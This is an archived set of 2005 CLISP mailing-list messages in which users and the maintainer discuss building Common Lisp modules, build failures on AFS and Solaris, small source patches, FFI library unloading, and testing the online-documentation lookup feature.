GNU CLISP 2.32 (2003-12-29) (built on dirac.cgtp.duke.edu 
[152.3.25.193])
Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1640) ANSI C 
program
Features [SAFETY=3]:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER 
CLISP-DEBUG
  SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE 
BASE-CHAR=CHARACTER
  UNIX)
Installation directory: /sw/lib/clisp/
User language: ENGLISH
Machine: POWER MACINTOSH(POWER MACINTOSH)jns-ibook.local [192.168.0.250]


Thanks in advance!

-- 
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Juan C. Acosta Guadarrama
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[Moved to appropriate thread]

Juan C.Acosta Guadarrama wrote:
 > does anyone know where I may get REGEXP package for my CLisp version?

http://www.weitz.de/cl-ppcre/

Dave




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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-14 04:54:36 +0100]:
>
> does anyone know where I may get REGEXP package for my CLisp version?

what does this have to do with "non-interactive clisp"?

build:
$ ./configure --with-module=regexp --build build-re

run:
$ ./build-re/clisp -K full

read:
http://clisp.cons.org/impnotes/faq.html#faq-modules
http://clisp.cons.org/impnotes/regexp-mod.html

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I have gotten several good pointers and  answers to my questions, which 
I appreciate a lot. There's a good community going on here.

Thanks
Mike
Sam Steingold wrote:

>>* Mike Owens <fgbezpbqre@lnubb.pbz> [2005-11-12 23:21:48 -0800]:
>>
>>I've been reading a couple of Lisp books and have a pretty good handle
>>on coding in Lisp but adding and deploying libraries and applications
>>has me confused.
>>    
>>
>
>did you read clisp docs too?
>http://clisp.cons.org/impnotes/faq.html
>
>  
>
>>For instance, I would like to install asdf <http://www.cliki.net/asdf>
>>and mk-defsystem <http://www.cliki.net/mk-defsystem> to get started. I
>>have been looking through the wiki and looking at the site pages for
>>those libraries but I still don't know how to install those libraries
>>in CLISP.
>>    
>>
>
>you download the applications you want to install, compile them, and put
>the form that loads them into your ~/.clisprc.lisp file.
>http://clisp.cons.org/impnotes/clisp.html#opt-norc
>
>alternatively, you load the application and same the image, and then
>invoke CLISP with the "-M" option.
>http://clisp.cons.org/impnotes/image.html
>http://clisp.cons.org/impnotes/clisp.html#opt-memfile
>
>  
>
>>I also need to figure out how I would deploy an application.
>>    
>>
>
>http://clisp.cons.org/impnotes/quickstart.html
>
>  
>
>>Would having the source in an archive accessible to the user work,
>>    
>>
>
>yes.
>
>  
>
>>Is there a legal oppinion on deploying an application with the runtime
>>and source in separate packages?
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>http://clisp.cons.org/impnotes/app-dev.html
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$ cd clisp-2.35/src
$ make
...
installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo
ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link
...
$ touch foo; ln foo ../foo
ln: creating hard link `../foo' to `foo': Invalid cross-device link
$ cat makemake.in
...
  echol "locale :"
  if [ $HOS = unix ] ; then
    echotab "if test -d locale; then rm -rf locale; fi"
    echotab "mkdir locale"
    echotab "(cd po && \$(MAKE) && \$(MAKE) install datadir=.. localedir='\$\$(datadir)/locale' INSTALL_DATA='$LN_HARD') || (rm -rf local\
e ; exit 1)"
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...

Perhaps hard links are a bad idea?

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 01:24:28 -0500]:
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> $ cd clisp-2.35/src
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> ...
> installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo
> ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link
> ...
> $ touch foo; ln foo ../foo
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> $ cat makemake.in
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> e ; exit 1)"
>   else
> ...
>
> Perhaps hard links are a bad idea?

what is cwd?
why is it on a different device than its parent?

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   From: Sam Steingold <sds@gnu.org>
   Date: Tue, 15 Nov 2005 09:16:21 -0500

   > * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 01:24:28 -0500]:
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   > $ cd clisp-2.35/src
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   > installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo
   > ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link
...
   what is cwd?
   why is it on a different device than its parent?

AFS is a modernized Un*x file system
with peculiar but compatible semantics.

Install-by-hard-link is an optimization
which could easily be done more robustly.

Workaround was to build in /tmp which fails with
...
	groff -Tdvi -mandoc  clisp.1 > clisp.dvi
	groff: can't find `DESC' file
	groff:fatal error: invalid device `dvi'
	make: *** [clisp.dvi] Error 3

for which Google turns up no fix.
Someone reports the same trouble at
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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 10:11:58 -0500]:
>
>    From: Sam Steingold <sds@gnu.org>
>    Date: Tue, 15 Nov 2005 09:16:21 -0500
>
>    > * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 01:24:28 -0500]:
>    >
>    > $ cd clisp-2.35/src
>    > $ make
>    > ...
>    > installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo
>    > ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link
> ...
>    what is cwd?
>    why is it on a different device than its parent?
>
> AFS is a modernized Un*x file system
> with peculiar but compatible semantics.
>
> Install-by-hard-link is an optimization
> which could easily be done more robustly.

"installing foo as ..../foo" is a message from install.sh or something.
please look at build-dir/po/Makefile and find out what INSTALL is set
to, where it comes from, and report the bug accordingly.

> Workaround was to build in /tmp which fails with
> ...
> 	groff -Tdvi -mandoc  clisp.1 > clisp.dvi
> 	groff: can't find `DESC' file
> 	groff:fatal error: invalid device `dvi'
> 	make: *** [clisp.dvi] Error 3
>
> for which Google turns up no fix.

please report this to the debian groff package maintainers

the trivial workaround is to type "make" again
(you will get an empty clisp.dvi)

> Someone reports the same trouble at
> 	http://tunes.org/~nef/logs/lisp/05.03.23

it's amazing what lengths people would go to just to avoid RTFM.
bletch.

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   From: Sam Steingold <sds@gnu.org>
   Date: Tue, 15 Nov 2005 11:21:08 -0500

   "installing foo as ..../foo" is a message from install.sh or something.
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   to, where it comes from, and report the bug accordingly.

I did identify the file as clisp-2.35/src/makemake.in
and did suggest a more robust install-by-hard-link,
is this not the best fix?

   it's amazing what lengths people would go to just to avoid RTFM.
   bletch.

Should I report that Google failed to properly index TFM?
Tee hee hee.
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To be precise, change the definition of LN_HARD

clisp-2.35/src/makemake.in
...
	# LN_HARD = command for copying files, saving disk space if possible
	if [ "$HSYSOS" = beos ] ; then
	  # The BeOS 5 filesystem has only symbolic links, no hard links.
	  LN_HARD='cp -p'
	else
	  LN_HARD='ln'
	fi
...
from 'ln' to something like 'LN_OR_CP'
which could be defined in bash as

	LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; }

which should work even on AFS servers.
What, no lambda?  How to make it work?

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As for that losing groff,
if the workaround is simply $ make
a second time, how about a friendly message
saying so right there in the installer output?
E.g., echo a message before running groff
or after groff returns an error status.

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 13:53:48 -0500]:
>
>    From: Sam Steingold <sds@gnu.org>
>    Date: Tue, 15 Nov 2005 11:21:08 -0500
>
>    "installing foo as ..../foo" is a message from install.sh or something.
>    please look at build-dir/po/Makefile and find out what INSTALL is set
>    to, where it comes from, and report the bug accordingly.
>
> I did identify the file as clisp-2.35/src/makemake.in

... incorrectly

> and did suggest a more robust install-by-hard-link,
> is this not the best fix?

no.

I repeat: the message "installing ... as ..." does _NOT_ come from
makemake.
your fix will _NOT_ help.
please follow the instructions above.

>    it's amazing what lengths people would go to just to avoid RTFM.
>    bletch.
>
> Should I report that Google failed to properly index TFM?

I meant the people who were talking on that chat, not you.

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 14:40:20 -0500]:
>
> As for that losing groff,
> if the workaround is simply $ make
> a second time, how about a friendly message
> saying so right there in the installer output?
> E.g., echo a message before running groff
> or after groff returns an error status.

please try the appended patch.

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--- makemake.in	11 Nov 2005 11:47:25 -0500	1.617
+++ makemake.in	15 Nov 2005 15:17:21 -0500	
@@ -3462,23 +3462,23 @@
 
 if test -n "$GROFF"; then
   echol "clisp.dvi : clisp.1"
-  echotab "\$(ROFF_DVI) clisp.1 > clisp.dvi"
+  echotab "\$(ROFF_DVI) clisp.1 > clisp.dvi || echo 'broken groff -- ignored'"
   echol
   echol "clisp.ps : clisp.1"
-  echotab "\$(ROFF_PS) clisp.1 > clisp.ps"
+  echotab "\$(ROFF_PS) clisp.1 > clisp.ps || echo 'broken groff -- ignored'"
   echol
   # Use dvipdf, not ps2pdf, to generate clisp.pdf, because ps2pdf generates
   # bad quality output: It puts an undesired space after "fi", such as in
   # "file".
   if test -n "$DVIPDF"; then
     echol "clisp.pdf : clisp.dvi"
-    echotab "\$(DVIPDF) clisp.dvi clisp.pdf"
+    echotab "\$(DVIPDF) clisp.dvi clisp.pdf || echo 'broken groff -- ignored'"
     echol
   fi
 fi
 
 echol "clisp.man : clisp.1"
-echotab "\$(ROFF_MAN) clisp.1 > clisp.man"
+echotab "\$(ROFF_MAN) clisp.1 > clisp.man || echo 'broken groff -- ignored'"
 echol
 
 for f in $DOC ; do


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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 14:29:54 -0500]:
>
> To be precise, change the definition of LN_HARD
>
> clisp-2.35/src/makemake.in
> ...
> 	# LN_HARD = command for copying files, saving disk space if possible
> 	if [ "$HSYSOS" = beos ] ; then
> 	  # The BeOS 5 filesystem has only symbolic links, no hard links.
> 	  LN_HARD='cp -p'
> 	else
> 	  LN_HARD='ln'
> 	fi
> ...
> from 'ln' to something like 'LN_OR_CP'
> which could be defined in bash as
>
> 	LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; }
>
> which should work even on AFS servers.

oh I now see what you were talking about...
please try the appended patch.

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--- makemake.in	11 Nov 2005 11:47:25 -0500	1.617
+++ makemake.in	15 Nov 2005 15:23:47 -0500	
@@ -501,6 +501,7 @@
      # srcdir='@srcdir@'                 # either '.' or '../src', see above
      CP='@CP@'                           # either 'cp -p' or 'cp'
      LN_S='@LN_S@'                       # either 'ln -s' or 'ln'
+     LN='@LN@'                           # either 'ln' or ${CP}
      HLN='@HLN@'                         # either 'ln' or 'hln'
      CC="@CC@"                           # either 'gcc -O' or 'cc'
      CPP="@CPP@"                         # either $CC' -E' or '/lib/cpp'
@@ -913,14 +914,9 @@
 fi
 
 # LN_HARD = command for copying files, saving disk space if possible
-if [ "$HSYSOS" = beos ] ; then
-  # The BeOS 5 filesystem has only symbolic links, no hard links.
-  LN_HARD='cp -p'
-else
-  LN_HARD='ln'
-fi
+LN_HARD=${LN-ln}
 
-# LN = command for making hard links ($HOS = unix only)
+# HLN = command for making hard links ($HOS = unix only)
 if [ "$HLN" = hln ] ; then
   HLN="${HERE}hln"
 fi


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> * Sam Steingold <fqf@tah.bet> [2005-11-15 15:18:03 -0500]:
>
> please try the appended patch.

clarification: this phrase means:
if this works for you, this _may_ be included in the cvs tree.
if I never hear from you, this will probably _not_ be included in the
cvs tree.

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Dear Sir,

Thanks a lot for your valuable help and sorry for my erroneous previous 
subject.

On the other hand, I'm afraid we've got different versions: could you 
please tell me where configure is located? what about build-re 
directory?

Sorry, but I haven't been able to find that information in the web 
pages.


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On 14 Nov 2005, at 17:30, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-11-14 04:54:36 +0100]:
>>
>> does anyone know where I may get REGEXP package for my CLisp version?
>
> what does this have to do with "non-interactive clisp"?
>
> build:
> $ ./configure --with-module=regexp --build build-re
>
> run:
> $ ./build-re/clisp -K full
>
> read:
> http://clisp.cons.org/impnotes/faq.html#faq-modules
> http://clisp.cons.org/impnotes/regexp-mod.html
>
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Dear Sir/Madam,



Thanks in advance.

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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-16 00:14:29 +0100]:
>
> On the other hand, I'm afraid we've got different versions: could you
> please tell me where configure is located? what about build-re
> directory?

1. what is your platform? (uname -a)
2. where did you get your clisp?  sources?  binaries?


>> build:
>> $ ./configure --with-module=regexp --build build-re
>>
>> run:
>> $ ./build-re/clisp -K full
>>
>> read:
>> http://clisp.cons.org/impnotes/faq.html#faq-modules
>> http://clisp.cons.org/impnotes/regexp-mod.html


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-08 11:46:41 -0500]:
    >> 
    >> >> That might work, and it should be portable too.  And couldn't you
    >> >> preserve the symbol-plist and function definitions by reinstalling
    >> >> them on the new symbol?
    >> 
    >> Actually it doesn't quite work.  maxima gets some error about #:arg
    >> being an undefined function.  Don't know where that comes from, but
    >> maxima doesn't build now.

    Sam> sure, it's not quite safe...
    Sam> I am at loss to imagine a scenario that would lead to this though.

I've played around some more.  This replacement works allows maxima to
compile and complete it's testsuite:

(defun make-unspecial (variable)
  (let ((name (symbol-name variable))
	(package (symbol-package variable)))
    (unless (fboundp variable)
      (if (ext:special-variable-p variable)
	  (when package
	    (unintern variable)
	    (intern name package))
	  (warn "MAKE-UNSPECIAL on a symbol that is not a special variable: ~S" variable)))))

The warning is probably not necessary.  And instead of skipping over
fboundp symbols, it should probably save the function and reinstall
it, unless function identity is required.

But this works well enough.  Don't know if it really did what was
intended, though.

Ray




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Please try the appended patch.
It allows removing the special declaration using this syntax:

(proclaim '((not special) foo))

and

(declaim ((not special) foo))


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--- control.d	06 Jul 2005 11:02:00 -0400	1.134
+++ control.d	16 Nov 2005 18:30:40 -0500	
@@ -2109,6 +2109,14 @@
         clear_const_flag(TheSymbol(symbol));
       set_special_flag(TheSymbol(symbol));
     }
+  } else if (consp(decltype) && eq(Car(decltype),S(not))
+             && consp(Cdr(decltype)) && eq(Car(Cdr(decltype)),S(special))
+             && nullp(Cdr(Cdr(decltype)))) { /* (NOT SPECIAL) */
+    while (!endp( STACK_0/*declspec*/ = Cdr(STACK_0/*declspec*/) )) {
+      var object symbol = check_symbol(Car(STACK_0/*declspec*/));
+      if (!keywordp(symbol)) clear_const_flag(TheSymbol(symbol));
+      clear_special_flag(TheSymbol(symbol));
+    }
   } else if (eq(decltype,S(declaration))) { /* DECLARATION */
     while (!endp( STACK_0/*declspec*/ = Cdr(STACK_0/*declspec*/) )) {
       var object symbol = check_symbol(Car(STACK_0/*declspec*/));


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Hi,
This is maybe more of a lisp question, but I think it is enough clisp
specific to post it here. What I wan't to do is to somehow extend
function that generates .fas and .lib files so that those files are
not located in the same folder where source .lsp or .lisp files are
located. Instead, I wan't to put them ato some fixed location. eg, if
I load and compile "c:\foo\bar.lisp" I don't wand .fas and .lib to be
generated in "c:\foo" but eg. in  "c:\lisp\compiled\clisp\c\foo"
folder/
In the same time, if I say (load "c:\foo\bar.lisp"), I would like that
it doesn't look for "c:\foo\bar.fas", but for
"c:\lisp\compiled\clisp\c\foo" instead)

Is something like this possible to do without modifying clisp source.
Which functions\classes should I try to redefine in order to achieve
this.

Reason for doing this is that I would like to use same libraries with
multiple lisp implementations (clisp, abcl, ecls) without having to
clean up source trees of .fas files each time. I just want to start
with clisp cause I use it the most.

Regards,
Marko


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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-11-16 21:55:29 -0800]:
>
> What I wan't to do is to somehow extend function that generates .fas
> and .lib files so that those files are not located in the same folder
> where source .lsp or .lisp files are located. Instead, I wan't to put
> them ato some fixed location. eg, if I load and compile
> "c:\foo\bar.lisp" I don't wand .fas and .lib to be generated in
> "c:\foo" but eg. in "c:\lisp\compiled\clisp\c\foo" folder/ In the same
> time, if I say (load "c:\foo\bar.lisp"), I would like that it doesn't
> look for "c:\foo\bar.fas", but for "c:\lisp\compiled\clisp\c\foo"
> instead)

defsystem and asdf will do that for you, so I would recommend that you
just use either one of them.

if you absolutely want to stick with vanilla CL, you need to do this:

1. to place compiled files in a different location, either pass
   :OUTPUT-FILE to COMPILE-FILE or redefine COMPILE-FILE-PATHNAME.

2. to look at the compiled directory first, add both source and
   binary directory to *load-paths* and (load "foo") will load the
   newest among foo.lisp and foo.fas in source and compiled directories.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> Please try the appended patch.
    Sam> It allows removing the special declaration using this syntax:

    Sam> (proclaim '((not special) foo))

    Sam> and

    Sam> (declaim ((not special) foo))

Nice.

What version should this patch be used with?  I'm currently using
2.33.  2.34 gets an internal error when running the test suite.
(Sorry for no reporting it!)  I'll try 2.35 now....  All on Solaris
8. 

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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-17 16:58:40 -0500]:
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>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     Sam> Please try the appended patch.
>     Sam> It allows removing the special declaration using this syntax:
>
>     Sam> (proclaim '((not special) foo))
>
>     Sam> and
>
>     Sam> (declaim ((not special) foo))
>
> Nice.
>
> What version should this patch be used with?

cvs head.

> I'm currently using 2.33.  2.34 gets an internal error when running
> the test suite.  (Sorry for no reporting it!)  I'll try 2.35 now....
> All on Solaris 8.

cvs head builds ootb on sparc and x86.


CVS head now supports (declaim (not-special foo)).


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> What version should this patch be used with?

    Sam> cvs head.

Ok.

    >> I'm currently using 2.33.  2.34 gets an internal error when running
    >> the test suite.  (Sorry for no reporting it!)  I'll try 2.35 now....
    >> All on Solaris 8.

    Sam> cvs head builds ootb on sparc and x86.

Clisp 2.35 builds and runs just fine.  Will 2.36 be released soon?  If so,
I'll probably just wait.

    Sam> CVS head now supports (declaim (not-special foo)).

Is there some way I can tell if not-special is available?  Some
feature or symbol that only exists in CVS head and later?  It would be
nice to be able to determine this automatically instead of manually
enabling or disabling the unspecial support.

Thanks for the quick work!

Ray



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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-18 08:57:57 -0500]:
>
>     >> I'm currently using 2.33.  2.34 gets an internal error when running
>     >> the test suite.  (Sorry for no reporting it!)  I'll try 2.35 now....
>     >> All on Solaris 8.
>
>     Sam> cvs head builds ootb on sparc and x86.
>
> Clisp 2.35 builds and runs just fine.  Will 2.36 be released soon?

dunno.
depends on how many bugs are reported in the coming weeks :-)

> If so, I'll probably just wait.

please don't -- I need pre-testers!

>     Sam> CVS head now supports (declaim (not-special foo)).
>
> Is there some way I can tell if not-special is available?

(find-symbol "NOT-SPECIAL" "EXT")

> Thanks for the quick work!
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I hope to release 2.36 "soon" (2.34 was in this state for 6+ months, I
would rather not repeat that).
I need people to test CVS head.

One thing is the "on-line documentation" that has been missing since day one:

0. read <http://clisp.cons.org/impnotes/environment-dict.html#describe>

1. check (custom:clhs-root) and see if you like it.

2. make sure that (custom:impnotes-root) returns
   "http://www.podval.org/~sds/clisp/impnotes/".

3. set *browser* to something you like (:default on woe32, cygwin,
   macos, :mozilla on other unices)

4. evaluate (describe 'nreverse)
   this will open two broser windows: the CLHS page for NREVERSE and
   impnotes page for NREVERSE.
   the normal describe output will be mixed with some junk (needed to
   tell you that an internet connection is made &c) - but only for the
   _first_ call to describe.
   (describe 'socket-connect) will start a web page for clisp sockets &c

5. write here and tell me what you think

HELP WANTED:
Someone has to finish clisp/doc/Symbol-Table.text by reading the
impnotes and putting symbols and xml ids into that file.
This is an excellent exercise: you will learn a lot about how clisp
works and what it can do (I bet you have never read more than a few
snippets from the manual before :-), you will suggest many valuable
improvements to the manual, and you will help finish the on-line
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> cvs head builds ootb on sparc and x86.
    >> 
    >> Clisp 2.35 builds and runs just fine.  Will 2.36 be released soon?

    Sam> dunno.
    Sam> depends on how many bugs are reported in the coming weeks :-)

    >> If so, I'll probably just wait.

    Sam> please don't -- I need pre-testers!

Well, that's a tradeoff.  I don't use clisp very much, except for
testing maxima.  Grabbing CVS clisp is a pain through the corporate
firewall.  And if I find a bug in some CVS version, I get to go
through the pain of grabbing yet another version.  It's much easier to
stay with a released version.

But to test this out, I think I should get a CVS version.

    Sam> CVS head now supports (declaim (not-special foo)).
    >> 
    >> Is there some way I can tell if not-special is available?

    Sam> (find-symbol "NOT-SPECIAL" "EXT")

Ah, the obvious solution!  Didn't occur to me that not-special was
totally new.

On a different note, 2.35 builds, but it doesn't include readline
support.  configure finds it, but, for some reason, it doesn't
actually compile in readline support.  It's been like this for some
time; 2.33 uses readline.  Perhaps my readline library is too old
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is broken or unexpected.

If I track this down, I'll let you know.

Ray



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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-18 09:36:07 -0500]:
>
>
> On a different note, 2.35 builds, but it doesn't include readline
> support.  configure finds it, but, for some reason, it doesn't
> actually compile in readline support.  It's been like this for some
> time; 2.33 uses readline.  Perhaps my readline library is too old
> (many years) or the arrangement of the readline installed directories
> is broken or unexpected.

please take a look at the output of the top-level configure.
it will announce "Configure findings" (listing readline, FFI and sigsegv)

> If I track this down, I'll let you know.
thanks.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-18 09:36:07 -0500]:
    >> 
    >> 
    >> On a different note, 2.35 builds, but it doesn't include readline
    >> support.  configure finds it, but, for some reason, it doesn't
    >> actually compile in readline support.  It's been like this for some
    >> time; 2.33 uses readline.  Perhaps my readline library is too old
    >> (many years) or the arrangement of the readline installed directories
    >> is broken or unexpected.

    Sam> please take a look at the output of the top-level configure.
    Sam> it will announce "Configure findings" (listing readline, FFI and sigsegv)

Configure findings:
  FFI:        yes
  readline:   yes
  libsigsegv: yes

When it finishes it says:

./makemake --with-dynamic-ffi  --prefix=/apps/public/solaris2.8
--with-libreadline=/apps/gnu/solaris2.8 --srcdir=../src   > Makefile

which is where libreadline is installed.

But when I run make, it builds libnoreadline.  And looking at the
Makefile, it see it builds libnoreadline.

Not sure where to look....

Ray





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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> CVS head now supports (declaim (not-special foo)).

Would notspecial be more in line with how CL names things?  Well, CL
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Hello everyone.
I'm new user of Clisp, and also new user of lisp language.
I would like to use Clisp as interactive prototyping envriroment which allo=
ws me
to use foreign library(like MS Windows Dlls) to do some core
computations efficiently.
So I tested simple example which calls MessageBox function resides in
user32.dll.
Below is code:
(use "FFI")
(def-call-out messagebox
                 (:name "MessageBoxA") (:library "user32.dll")
                 (:arguments (hwnd int)  (text c-string) (capt
c-string) (type uint))
                 (:return-type int)
                 (:language :stdc))
and call it as:
(messagebox 0 "welcome" "clisp" 1)

and it works well.
But when I try to unload the library like:
(close-foreign-library "user32.dll")

I got message which says ---#<INVALID FOREIGN POINTER...
followed by some hex numbers(which looks like sort of address).
I want to know what this means.Are there some problems in my code or
close-foreign-library did'nt work well or,
the library was alreay(automaticaly) closed after my call to it?
I think if it's the last case,then it would be very in-efficient
because,I guess,
the lib loading and unloading happen every time the lib function is called.

Anyone can give me an answer?
Thanks.


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...
   (use "FFI")
   (def-call-out messagebox ...)
...
   (close-foreign-library "user32.dll")

... #<INVALID FOREIGN POINTER ...

Without even looking at the manual,
I can tell you "user32.dll" is a string,
not a foreign pointer.

I can speculate, again sans manual,
that (setq xyz (def-call-out ...
or (defvar xyz (def-call-out ...
followed by (close-foreign-library xyz)
might be worth trying.

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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-18 11:01:43 -0500]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     Sam> CVS head now supports (declaim (not-special foo)).
>
> Would notspecial be more in line with how CL names things?  Well, CL
> has at least notinline.

ok.

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Date: Fri Nov 18 09:36:07 2005
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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-18 10:45:25 -0500]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     >> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-18 09:36:07 -0500]:
>     >> 
>     >> 
>     >> On a different note, 2.35 builds, but it doesn't include readline
>     >> support.  configure finds it, but, for some reason, it doesn't
>     >> actually compile in readline support.  It's been like this for some
>     >> time; 2.33 uses readline.  Perhaps my readline library is too old
>     >> (many years) or the arrangement of the readline installed directories
>     >> is broken or unexpected.
>
>     Sam> please take a look at the output of the top-level configure.
>     Sam> it will announce "Configure findings" (listing readline, FFI and sigsegv)
>
> Configure findings:
>   FFI:        yes
>   readline:   yes
>   libsigsegv: yes
>
> When it finishes it says:
>
> ./makemake --with-dynamic-ffi  --prefix=/apps/public/solaris2.8
> --with-libreadline=/apps/gnu/solaris2.8 --srcdir=../src   > Makefile
>
> which is where libreadline is installed.
>
> But when I run make, it builds libnoreadline.  And looking at the
> Makefile, it see it builds libnoreadline.

libnoreadline is built unless you specify --with-no-readline (sic!).
when you _run_ clisp, is readline used?
if not, run under gdb and see why stdio_same_tty_p() returns false.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> libnoreadline is built unless you specify --with-no-readline (sic!).
    Sam> when you _run_ clisp, is readline used?

Oh, I wasn't clear, because that's how I noticed the problem because
C-p, C-n, tab etc. do nothing except insert themselves.

And ldd lisp.run shows that libreadline isn't used (but I also have
both shared and non-shared libs available).

If I look at the build, I see it links lisp.run, but doesn't reference
-lreadline anywhere.

The Makefile doesn't have readline anywhere, except in in
libnoreadline.

If it matters, remember, this is Solaris 8.  I'm using gcc 3.3.3 for
the build.  gdb > 4.18 is rather problematic on Solaris because it
doesn't handle signals correctly.

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> * xu yong <ubcrkl@tznvy.pbz> [2005-11-19 00:40:46 +0800]:
>
> But when I try to unload the library like:
> (close-foreign-library "user32.dll")

why do you want to do that?
are you trying to replace a system library? :-)

> I got message which says ---#<INVALID FOREIGN POINTER...

please cut and paste the complete message.

> the library was alreay(automaticaly) closed after my call to it?

libraries are automatically closed only on exit.


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Sam Steingold wrote:

>1. check (custom:clhs-root) and see if you like it.
>  
>
[1]> (custom:clhs-root)
"C:\\CL\\doc\\HyperSpec\\"

>2. make sure that (custom:impnotes-root) returns
>   "http://www.podval.org/~sds/clisp/impnotes/".
>  
>
[2]> (setf *impnotes-root-default* 
"http://www.podval.org/~sds/clisp/impnotes/")
"http://www.podval.org/~sds/clisp/impnotes/"
[3]> (custom:impnotes-root)
"http://www.podval.org/~sds/clisp/impnotes/"

>3. set *browser* to something you like (:default on woe32, cygwin,
>   macos, :mozilla on other unices)
>4. evaluate (describe 'nreverse)
>   this will open two broser windows: the CLHS page for NREVERSE and
>   impnotes page for NREVERSE.
>   the normal describe output will be mixed with some junk (needed to
>   tell you that an internet connection is made &c) - but only for the
>   _first_ call to describe.
>   (describe 'socket-connect) will start a web page for clisp sockets &c
>
>  
>
[4]> (setf *browser* :default)
:DEFAULT
[5]> (describe 'nreverse)

NREVERSE is the symbol NREVERSE, lies in #<PACKAGE COMMON-LISP>, is 
accessible in 17 packages
ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, 
MAKE, PCRE, POSIX, RAWSOCK,
READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a
;; SYSTEM::GET-CLHS-MAP(#<INPUT BUFFERED FILE-STREAM CHARACTER 
#P"C:\\CL\\doc\\HyperSpec\\Data\\Map_
Sym.txt" @1>)...978/978 symbols
function.
;; starting the default system browser with url 
"C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"...done
;; connecting to 
"http://www.podval.org/~sds/clisp/impnotes/id-href.map"...connected...HTTP/1.1 
200
OK...64,396 bytes
;; SYSTEM::GET-STRING-MAP(#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 
www.podval.org:80>)...
WARNING: SYSTEM::GET-STRING-MAP: invalid map "" --> "faq.html#id3124586"
WARNING: IMPNOTES-ROOT returns invalid value 
"http://www.podval.org/~sds/clisp/impnotes/", fix it,
(GETENV "IMPNOTES")
or *IMPNOTES-ROOT-DEFAULT*

#<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has 2 
nicknames LISP, CL.
It imports the external symbols of 1 package CLOS and exports 978 
symbols to 16 packages ASDF,
MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, 
FFI, SCREEN, CLOS,
COMMON-LISP-USER, EXT, SYSTEM.

#<SYSTEM-FUNCTION NREVERSE> is a built-in system function.
Argument list: (ARG0).

And pop-up error message "c не �влфет�� зареги�трированным протоколом"

[6]> (setf *browser* :mozilla)
:MOZILLA
[7]> (describe 'nreverse)

NREVERSE is the symbol NREVERSE, lies in #<PACKAGE COMMON-LISP>, is 
accessible in 17 packages
ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, 
MAKE, PCRE, POSIX, RAWSOCK,
READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a function, has 1 property 
SYSTEM::DOC.
;; running ["mozilla" "C:\\CL\\doc\\HyperSpec\\Body/f_revers.htm"]...
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the 
file specified.
The following restarts are available:
ABORT :R1 ABORT

Mozilla is installed


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> libnoreadline is built unless you specify --with-no-readline (sic!).
    Sam> when you _run_ clisp, is readline used?
    Sam> if not, run under gdb and see why stdio_same_tty_p() returns false.

I think I know at least part of the problem.  First, according to
unix/INSTALL, I should use --with-libreadline-prefix.  Ok, that
helps.  However, I see from <build>/config.log:

